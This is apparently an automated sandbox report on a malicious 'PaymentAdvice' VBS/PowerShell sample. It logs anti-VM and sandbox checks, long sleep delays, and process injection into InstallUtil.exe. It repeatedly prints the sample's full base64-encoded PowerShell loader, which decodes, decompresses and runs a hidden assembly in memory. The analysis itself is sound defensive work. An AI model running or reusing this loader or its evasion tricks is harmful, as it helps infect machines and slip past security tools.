Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: PaymentAdvice-1629043.vbs.exe PID: 6076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Value.vbs.exe PID: 5232, type: MEMORYSTR

Powershell is started from unusual location (likely to bypass HIPS)

Source: c:\users\user\appdata\roaming\value.vbs.exe	Key value queried: Powershell behavior
Source: c:\users\user\desktop\paymentadvice-1629043.vbs.exe	Key value queried: Powershell behavior			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2098406061.0000000004DCA000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2264092099.00000000052FA000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Memory allocated: 4900000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Memory allocated: 4900000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Memory allocated: 8150000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Memory allocated: 31B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Memory allocated: 31B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Memory allocated: 8670000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior

Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Window / User API: threadDelayed 3108	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Window / User API: threadDelayed 2166	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Window / User API: threadDelayed 3125
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Window / User API: threadDelayed 2125

Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe TID: 6128	Thread sleep time: -9223372036854770s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe TID: 3012	Thread sleep time: -10145709240540247s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_00405080 FindFirstFileA,FindNextFileA,FindClose,	14_2_00405080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_00404F6C FindFirstFileA,FindClose,	14_2_00404F6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_00405634 FindFirstFileA,FindNextFileA,FindClose,	14_2_00405634
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_004056A7 FindFirstFileA,FindNextFileA,FindClose,	14_2_004056A7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 14_2_00406D40 GetLogicalDriveStringsA,GetDriveTypeA,

14_2_00406D40

Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: wscript.exe, 00000007.00000002.2186490885.000002D74EDD2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Value.vbs.exe, 0000000C.00000002.2264092099.00000000052FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: wscript.exe, 00000000.00000003.2071442876.00000184994C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}eoutMsWW6M
Source: Value.vbs.exe, 0000000C.00000002.2264092099.00000000052FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

API call chain: ExitProcess graph end node

graph_14-6173

Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\Value.vbs.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 401000
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 409000
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 415000
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 417000
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 418000
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 419000
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 1039008

Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe" -enc JABKAG0AcgBwAHAAYwB1AGIAcgBtAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQASABvAHMAZABjAHQAaABsAHYAdABvACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQASgBtAHIAcABwAGMAdQBiAHIAbQBtACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAFcAawBmAGMAbABsAGgAagB4ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEgAbwBzAGQAYwB0AGgAbAB2AHQAbwAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAQwBnAGwAYQBrAGgAegByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABXAGsAZgBjAGwAbABoAGoAeAAgACkAOwAkAEMAbQBqAHAAegB5AHYAcABjAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAFUAbgB0AGkAcABmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAEMAZwBsAGEAawBoAHoAcgAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAVQBuAHQAaQBwAGYALgBDAG8AcAB5AFQAbwAoACAAJABDAG0AagBwAHoAeQB2AHAAYwBzACAAKQA7ACQAVQBuAHQAaQBwAGYALgBDAGwAbwBzAGUAKAApADsAJABDAGcAbABhAGsAaAB6AHIALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABXAGsAZgBjAGwAbABoAGoAeAAgAD0AIAAkAEMAbQBqAHAAegB5AHYAcABjAHMALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFcAawBmAGMAbABsAGgAagB4ACkAOwAgACQATwByAHkAbABnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAVwBrAGYAYwBsAGwAaABqAHgAKQA7ACAAJABHAGIAZwBrAGYAdABxAHAAIAA9ACAAJABPAHIAeQBsAGcALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABHAGIAZwBrAGYAdABxAHAALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEcAYgBnAGsAZgB0AHEAcAAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Value.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Value.vbs.exe "C:\Users\user\AppData\Roaming\Value.vbs.exe" -enc JABKAG0AcgBwAHAAYwB1AGIAcgBtAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQASABvAHMAZABjAHQAaABsAHYAdABvACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQASgBtAHIAcABwAGMAdQBiAHIAbQBtACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAFcAawBmAGMAbABsAGgAagB4ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEgAbwBzAGQAYwB0AGgAbAB2AHQAbwAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAQwBnAGwAYQBrAGgAegByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABXAGsAZgBjAGwAbABoAGoAeAAgACkAOwAkAEMAbQBqAHAAegB5AHYAcABjAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAFUAbgB0AGkAcABmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAEMAZwBsAGEAawBoAHoAcgAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAVQBuAHQAaQBwAGYALgBDAG8AcAB5AFQAbwAoACAAJABDAG0AagBwAHoAeQB2AHAAYwBzACAAKQA7ACQAVQBuAHQAaQBwAGYALgBDAGwAbwBzAGUAKAApADsAJABDAGcAbABhAGsAaAB6AHIALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABXAGsAZgBjAGwAbABoAGoAeAAgAD0AIAAkAEMAbQBqAHAAegB5AHYAcABjAHMALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFcAawBmAGMAbABsAGgAagB4ACkAOwAgACQATwByAHkAbABnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAVwBrAGYAYwBsAGwAaABqAHgAKQA7ACAAJABHAGIAZwBrAGYAdABxAHAAIAA9ACAAJABPAHIAeQBsAGcALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABHAGIAZwBrAGYAdABxAHAALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEcAYgBnAGsAZgB0AHEAcAAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"

Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe "c:\users\user\desktop\paymentadvice-1629043.vbs.exe" -enc jabkag0acgbwahaaywb1agiacgbtag0aiaa9acaawwbtahkacwb0aguabqauaeqaaqbhagcabgbvahmadabpagmacwauafaacgbvagmazqbzahmaxqa6adoarwblahqaqwb1ahiacgblag4adabqahiabwbjaguacwbzacgakqauae0ayqbpag4atqbvagqadqbsagualgbgagkabablae4ayqbtagualgbsaguacabsageaywblacgajwauaguaeablaccalaanaccakqa7acqasabvahmazabjahqaaabsahyadabvacaapqagagcazqb0ac0aywbvag4adablag4adaagacqasgbtahiacabwagmadqbiahiabqbtacaafaagafmazqbsaguaywb0ac0atwbiagoazqbjahqaiaataewayqbzahqaiaaxadsaiaakafcaawbmagmababsaggaagb4acaapqagafsauwb5ahmadablag0algbdag8abgb2aguacgb0af0aoga6aeyacgbvag0aqgbhahmazqa2adqauwb0ahiaaqbuagcakaakaegabwbzagqaywb0aggabab2ahqabwauafiazqbwagwayqbjaguakaanafiarqbnacaajwasacaajwanackalgbsaguacabsageaywblacgajwbaaccalaagaccaqqanackakqa7acqaqwbnagwayqbraggaegbyacaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauaekatwauae0azqbtag8acgb5afmadabyaguayqbtacgaiaasacaajabxagsazgbjagwababoagoaeaagackaowakaemabqbqahaaegb5ahyacabjahmaiaa9acaatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4asqbpac4atqblag0abwbyahkauwb0ahiazqbhag0aowakafuabgb0agkacabmacaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauaekatwauaemabwbtahaacgblahmacwbpag8abgauaecaegbpahaauwb0ahiazqbhag0aiaakaemazwbsageaawboahoacgasacaakabbaekatwauaemabwbtahaacgblahmacwbpag8abgauaemabwbtahaacgblahmacwbpag8abgbnag8azablaf0aoga6aeqazqbjag8abqbwahiazqbzahmakqa7acqavqbuahqaaqbwagyalgbdag8acab5afqabwaoacaajabdag0aagbwahoaeqb2ahaaywbzacaakqa7acqavqbuahqaaqbwagyalgbdagwabwbzaguakaapadsajabdagcababhagsaaab6ahialgbdagwabwbzaguakaapadsawwbiahkadablafsaxqbdacaajabxagsazgbjagwababoagoaeaagad0aiaakaemabqbqahaaegb5ahyacabjahmalgbuag8aqqbyahiayqb5acgakqa7afsaqqbyahiayqb5af0aoga6afiazqb2aguacgbzaguakaakafcaawbmagmababsaggaagb4ackaowagacqatwbyahkababnacaapqagafsauwb5ahmadablag0algbbahaacabeag8abqbhagkabgbdadoaogbdahuacgbyaguabgb0aeqabwbtageaaqbuac4atabvageazaaoacqavwbragyaywbsagwaaabqahgakqa7acaajabhagiazwbragyadabxahaaiaa9acaajabpahiaeqbsagcalgbfag4adabyahkauabvagkabgb0adsaiabbafmaeqbzahqazqbtac4arablagwazqbnageadablaf0aoga6aemacgblageadablaeqazqbsaguazwbhahqazqaoafsaqqbjahqaaqbvag4axqasacaajabhagiazwbragyadabxahaalgbeaguaywbsageacgbpag4azwbuahkacablacwaiaakaecaygbnagsazgb0aheacaauae4ayqbtaguakqauaeqaeqbuageabqbpagmasqbuahyabwbraguakaapacaafaagae8adqb0ac0atgb1agwabaa=
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Value.vbs.exe "c:\users\user\appdata\roaming\value.vbs.exe" -enc jabkag0acgbwahaaywb1agiacgbtag0aiaa9acaawwbtahkacwb0aguabqauaeqaaqbhagcabgbvahmadabpagmacwauafaacgbvagmazqbzahmaxqa6adoarwblahqaqwb1ahiacgblag4adabqahiabwbjaguacwbzacgakqauae0ayqbpag4atqbvagqadqbsagualgbgagkabablae4ayqbtagualgbsaguacabsageaywblacgajwauaguaeablaccalaanaccakqa7acqasabvahmazabjahqaaabsahyadabvacaapqagagcazqb0ac0aywbvag4adablag4adaagacqasgbtahiacabwagmadqbiahiabqbtacaafaagafmazqbsaguaywb0ac0atwbiagoazqbjahqaiaataewayqbzahqaiaaxadsaiaakafcaawbmagmababsaggaagb4acaapqagafsauwb5ahmadablag0algbdag8abgb2aguacgb0af0aoga6aeyacgbvag0aqgbhahmazqa2adqauwb0ahiaaqbuagcakaakaegabwbzagqaywb0aggabab2ahqabwauafiazqbwagwayqbjaguakaanafiarqbnacaajwasacaajwanackalgbsaguacabsageaywblacgajwbaaccalaagaccaqqanackakqa7acqaqwbnagwayqbraggaegbyacaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauaekatwauae0azqbtag8acgb5afmadabyaguayqbtacgaiaasacaajabxagsazgbjagwababoagoaeaagackaowakaemabqbqahaaegb5ahyacabjahmaiaa9acaatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4asqbpac4atqblag0abwbyahkauwb0ahiazqbhag0aowakafuabgb0agkacabmacaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauaekatwauaemabwbtahaacgblahmacwbpag8abgauaecaegbpahaauwb0ahiazqbhag0aiaakaemazwbsageaawboahoacgasacaakabbaekatwauaemabwbtahaacgblahmacwbpag8abgauaemabwbtahaacgblahmacwbpag8abgbnag8azablaf0aoga6aeqazqbjag8abqbwahiazqbzahmakqa7acqavqbuahqaaqbwagyalgbdag8acab5afqabwaoacaajabdag0aagbwahoaeqb2ahaaywbzacaakqa7acqavqbuahqaaqbwagyalgbdagwabwbzaguakaapadsajabdagcababhagsaaab6ahialgbdagwabwbzaguakaapadsawwbiahkadablafsaxqbdacaajabxagsazgbjagwababoagoaeaagad0aiaakaemabqbqahaaegb5ahyacabjahmalgbuag8aqqbyahiayqb5acgakqa7afsaqqbyahiayqb5af0aoga6afiazqb2aguacgbzaguakaakafcaawbmagmababsaggaagb4ackaowagacqatwbyahkababnacaapqagafsauwb5ahmadablag0algbbahaacabeag8abqbhagkabgbdadoaogbdahuacgbyaguabgb0aeqabwbtageaaqbuac4atabvageazaaoacqavwbragyaywbsagwaaabqahgakqa7acaajabhagiazwbragyadabxahaaiaa9acaajabpahiaeqbsagcalgbfag4adabyahkauabvagkabgb0adsaiabbafmaeqbzahqazqbtac4arablagwazqbnageadablaf0aoga6aemacgblageadablaeqazqbsaguazwbhahqazqaoafsaqqbjahqaaqbvag4axqasacaajabhagiazwbragyadabxahaalgbeaguaywbsageacgbpag4azwbuahkacablacwaiaakaecaygbnagsazgb0aheacaauae4ayqbtaguakqauaeqaeqbuageabqbpagmasqbuahyabwbraguakaapacaafaagae8adqb0ac0atgb1agwabaa=
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe "c:\users\user\desktop\paymentadvice-1629043.vbs.exe" -enc jabkag0acgbwahaaywb1agiacgbtag0aiaa9acaawwbtahkacwb0aguabqauaeqaaqbhagcabgbvahmadabpagmacwauafaacgbvagmazqbzahmaxqa6adoarwblahqaqwb1ahiacgblag4adabqahiabwbjaguacwbzacgakqauae0ayqbpag4atqbvagqadqbsagualgbgagkabablae4ayqbtagualgbsaguacabsageaywblacgajwauaguaeablaccalaanaccakqa7acqasabvahmazabjahqaaabsahyadabvacaapqagagcazqb0ac0aywbvag4adablag4adaagacqasgbtahiacabwagmadqbiahiabqbtacaafaagafmazqbsaguaywb0ac0atwbiagoazqbjahqaiaataewayqbzahqaiaaxadsaiaakafcaawbmagmababsaggaagb4acaapqagafsauwb5ahmadablag0algbdag8abgb2aguacgb0af0aoga6aeyacgbvag0aqgbhahmazqa2adqauwb0ahiaaqbuagcakaakaegabwbzagqaywb0aggabab2ahqabwauafiazqbwagwayqbjaguakaanafiarqbnacaajwasacaajwanackalgbsaguacabsageaywblacgajwbaaccalaagaccaqqanackakqa7acqaqwbnagwayqbraggaegbyacaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauaekatwauae0azqbtag8acgb5afmadabyaguayqbtacgaiaasacaajabxagsazgbjagwababoagoaeaagackaowakaemabqbqahaaegb5ahyacabjahmaiaa9acaatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4asqbpac4atqblag0abwbyahkauwb0ahiazqbhag0aowakafuabgb0agkacabmacaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauaekatwauaemabwbtahaacgblahmacwbpag8abgauaecaegbpahaauwb0ahiazqbhag0aiaakaemazwbsageaawboahoacgasacaakabbaekatwauaemabwbtahaacgblahmacwbpag8abgauaemabwbtahaacgblahmacwbpag8abgbnag8azablaf0aoga6aeqazqbjag8abqbwahiazqbzahmakqa7acqavqbuahqaaqbwagyalgbdag8acab5afqabwaoacaajabdag0aagbwahoaeqb2ahaaywbzacaakqa7acqavqbuahqaaqbwagyalgbdagwabwbzaguakaapadsajabdagcababhagsaaab6ahialgbdagwabwbzaguakaapadsawwbiahkadabl